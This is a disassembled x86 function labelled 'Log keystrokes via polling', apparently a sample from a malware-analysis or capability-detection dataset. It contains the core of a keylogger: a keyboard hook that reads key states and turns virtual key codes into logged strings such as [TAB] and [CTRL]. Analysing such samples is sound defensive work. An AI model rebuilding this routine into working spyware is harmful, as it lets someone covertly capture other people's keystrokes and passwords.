Function at 0x4074d5
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov eax, edx
mov ebx, ecx
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push edi
mov edi, dword [ebp + 8]
sub eax, 0x100
je 0x4074fb
sub eax, 4
jne case.default.0x407528
mov esi, dword [edi]
cmp esi, 0x27
jb 0x4075ae
cmp esi, 0x40
ja 0x4075b3
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x407593
add esi, 0xffffffd0
cmp esi, 9
ja case.default.0x407528
jmp dword [esi*4 + 0x407921]
mov ecx, str.______
jmp 0x407906
mov ecx, 0x4127e8
jmp 0x407906
mov ecx, 0x4127ec
jmp 0x407906
mov ecx, 0x4127f0
jmp 0x407906
mov ecx, 0x4127f4
jmp 0x407906
mov ecx, 0x4127f8
jmp 0x407906
mov ecx, 0x4127fc
jmp 0x407906
mov ecx, 0x412800
jmp 0x407906
mov ecx, 0x412748
jmp 0x407906
mov ecx, 0x412804
jmp 0x407906
push esi
lea eax, [ebp - 0x14]
push 0x412808
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
jmp 0x407906
cmp esi, 0x40
jbe 0x4075ff
cmp esi, 0x5b
jae 0x4075ff
call fcn.0040795b
push 0x10
mov bl, al
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
mov dl, bl
setne cl
call fcn.00407949
test al, al
lea ecx, [esi + 0x20]
lea eax, [ebp - 0x14]
cmovne ecx, esi
push ecx
push 0x412808
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.00407966
mov ebx, dword [ebp - 4]
jmp case.default.0x407528
cmp esi, 0x66
ja 0x40771d
je 0x407713
cmp esi, 0x20
ja 0x407691
je 0x407687
cmp esi, 0x11
ja 0x40765b
je 0x407781
sub esi, 8
je 0x407651
sub esi, 1
je 0x407647
sub esi, 4
je 0x40763d
sub esi, 3
je case.default.0x407528
jmp 0x4078a2
mov ecx, 0x412814
jmp 0x407906
mov ecx, str._TAB_
jmp 0x407906
mov ecx, str._BKSP_
jmp 0x407906
sub esi, 0x12
je 0x4077d8
dec esi
sub esi, 1
je 0x40767d
sub esi, 7
jne 0x4078a2
mov ecx, str._ESC_
jmp 0x407906
mov ecx, str._CAPS_
jmp 0x407906
mov ecx, 0x412810
jmp 0x407906
cmp esi, 0x62
ja 0x4076e2
je 0x4076d8
sub esi, 0x2d
je 0x4076ce
sub esi, 1
je 0x4076c4
sub esi, 0x32
je 0x4076ba
sub esi, 1
jne 0x4078a2
mov ecx, 0x4128a0
jmp 0x407906
mov ecx, str.0123456789_________.:___
jmp 0x407906
mov ecx, str._DEL_
jmp 0x407906
mov ecx, str._INSERT_
jmp 0x407906
mov ecx, 0x4128a4
jmp 0x407906
sub esi, 0x63
je 0x407709
sub esi, 1
je 0x4076ff
sub esi, 1
jne 0x4078a2
mov ecx, 0x4128b0
jmp 0x407906
mov ecx, 0x4128ac
jmp 0x407906
mov ecx, 0x4128a8
jmp 0x407906
mov ecx, 0x4128b4
jmp 0x407906
mov eax, 0xbc
cmp esi, eax
ja 0x4077f6
je 0x4077e2
cmp esi, 0xa3
ja 0x40778b
cmp esi, 0xa2
jae 0x407781
cmp esi, 0x67
je 0x407777
cmp esi, 0x68
je 0x40776d
cmp esi, 0x69
je 0x407763
lea eax, [esi - 0xa0]
cmp eax, 1
ja 0x4078a2
jmp case.default.0x407528
mov ecx, 0x4128c0
jmp 0x407906
mov ecx, 0x4128bc
jmp 0x407906
mov ecx, 0x4128b8
jmp 0x407906
mov ecx, str._CTRL_
jmp 0x407906
cmp esi, 0xa5
jbe 0x4077d8
cmp esi, 0xba
je 0x4077c4
cmp esi, 0xbb
jne 0x4078a2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x412908
mov edx, 0x41290c
test ax, ax
cmove ecx, edx
jmp 0x407906
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4128f8
mov edx, 0x4128fc
jmp 0x4077b9
mov ecx, str._ALT_
jmp 0x407906
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4128e8
mov edx, 0x4128ec
jmp 0x4077b9
mov eax, 0xdb
cmp esi, eax
ja 0x407890
je 0x407879
sub esi, 0xbd
je 0x407862
sub esi, 1
je 0x40784b
sub esi, 1
je 0x407834
sub esi, 1
jne 0x4078a2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4128cc
mov edx, 0x4128d0
jmp 0x4077b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4128c4
mov edx, 0x4128c8
jmp 0x4077b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4128f0
mov edx, 0x4128f4
jmp 0x4077b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x412900
mov edx, 0x412904
jmp 0x4077b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4127c8
mov edx, 0x4128d4
jmp 0x4077b9
sub esi, 0xdc
je 0x4078ef
sub esi, 1
je 0x4078d8
sub esi, 1
je 0x4078c1
push 0xf
lea eax, [ebp - 0x34]
push eax
mov eax, dword [edi + 8]
shl eax, 8
add eax, dword [edi + 4]
shl eax, 0x10
inc eax
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea ecx, [ebp - 0x34]
jmp 0x407906
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4128e0
mov edx, 0x4128e4
jmp 0x4077b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4127cc
mov edx, 0x4128dc
jmp 0x4077b9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x4128d8
test ax, ax
jne 0x407906
mov ecx, 0x412464
call fcn.00407966
push edi
push dword [ebp - 8]
push ebx
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
pop edi
pop esi
pop ebx
leave
ret 4